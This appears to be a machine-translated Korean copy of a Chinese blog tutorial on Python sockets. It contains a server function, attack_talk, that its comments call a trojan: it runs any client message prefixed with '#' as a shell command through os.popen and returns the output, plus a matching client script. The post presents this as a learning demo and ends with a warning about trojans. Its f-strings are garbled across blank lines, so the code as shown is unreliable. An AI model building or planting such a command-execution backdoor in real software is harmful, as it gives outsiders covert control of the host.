Python 네트워크 프로그래밍으로 간단한 원격 명령 실행 실현

머리말

소켓은 양방향 통신 채널의 끝점입니다. 소켓은 프로세스 내에서, 동일한 시스템의 프로세스 간 또는 인터넷 연결이 가능한 모든 시스템일 수 있는 다른 호스트의 프로세스 간에 통신할 수 있습니다.

1. 기본 문법

소켓을 생성하려면 소켓 모듈에서 소켓.socket() 함수를 사용해야 합니다.
s.bind(), 이 메소드는 주소(호스트 이름, 포트 번호 쌍)를 소켓에 바인딩합니다.
s.listen() 이 메소드는 TCP 리스너를 설정하고 시작합니다.
s.accept() 이 메소드는 TCP 클라이언트 연결을 수동적으로 승인하고 연결이 도착할 때까지 기다립니다(차단). 설정하지 않으면 한 번에 하나의 클라이언트만 연결할 수 있습니다.
. recv() 이 메소드는 TCP 메시지를 수신합니다.
s.send() 이 메소드는 TCP 메시지를 보냅니다.
s.recvfrom() 이 메소드는 UDP 메시지를 받습니다.
s.sendto() 이 메소드는 UDP 메시지를 보냅니다.
s.close() 이 메소드는 소켓을 닫습니다.
소켓.gethostname() 호스트 이름을 반환합니다.

2. 코드 구현

1. 서버

import os
import socket
def normal_talk():
    s=socket.socket()#不带括号返回的是地址
    s.bind(('127.0.0.1',6667))#只允许本设备进行访问0.0.0.0所有设备均可访问
    s.listen()
    chanle,client=s.accept() #无法接收多个客户端
    while True:
        #chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接
        receive=chanle.recv(1024).decode()#decode解码,encode转码
        print(f'收到消息:{
      
      receive}')
        reply=receive.replace('吗?',"!")
        chanle.send(reply.encode())
    #s.close()      #在死循环之后的代码不能执行
    # 一个python文件通常有两种使用方法,第一是作为脚本直接执行,第二是
    # import 到其他的
    # python
    # 脚本中被调用(模块重用)执行。因此
    # if __name__ == 'main': 的作用就是控制这两种情况执行代码的过程,在
    # if __name__ == 'main': 下的代码只有在第一种情况下(即文件作为脚本直接执行)才会被执行,而
    # import 到其他脚本中是不会被执行的。
#核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务端执行命令并返回结果
def attack_talk():
    s = socket.socket()# 不带括号返回的是地址
    try:  
        s.bind(('127.0.0.1', 6667))  # 只允许本设备进行访问0.0.0.0所有设备均可访问
        s.listen()
        chanle, client = s.accept()  # 无法接收多个客户端
        while True:
            # chanle,client=s.accept()#接收客户端连接并返回数据和客户端地址,会进入阻塞状态,等待一个新的客户端连接
            receive = chanle.recv(10240).decode()# decode解码,encode转码
            if receive.startswith('#'):#判断字符串是否以#开头
                command=receive.split(',')[-1]
                reply=os.popen(command).read()#接收到的命令,小马
                chanle.send(f"命令{
      
      command}的运行结果:\n{
      
      reply}".encode())#发送数据,默认编码utf8
            elif receive==None:
                attack_talk()
            else:
                print(f'收到消息:{
      
      receive}')
                reply = receive.replace('吗?', "!")
                chanle.send(reply.encode())
    except:
        s.close()
        attack_talk()

if __name__=='__main__':
    attack_talk()#当其他python文件调用这个函数时,这里面的不会被执

2.클라이언트

import socket
s=socket.socket()
s.connect(('127.0.0.1',6667))#建立连接
while True:
    message=input('请输入消息:')
    s.send(message.encode())#客户端给服务端发送消息,默认以utf8方式编码
    re=s.recv(10240)#客户端接收服务端发送的消息
    print(f'服务器回复:{
      
      re.decode()}')

요약하다

귀하의 개인 정보를 위험에 빠뜨릴 수 있는 악성 트로이 목마가 포함되어 있지 않도록 온라인으로 다운로드한 응용 프로그램에 주의해야 합니다.

Guess you like

Origin blog.csdn.net/qq_33655643/article/details/124304252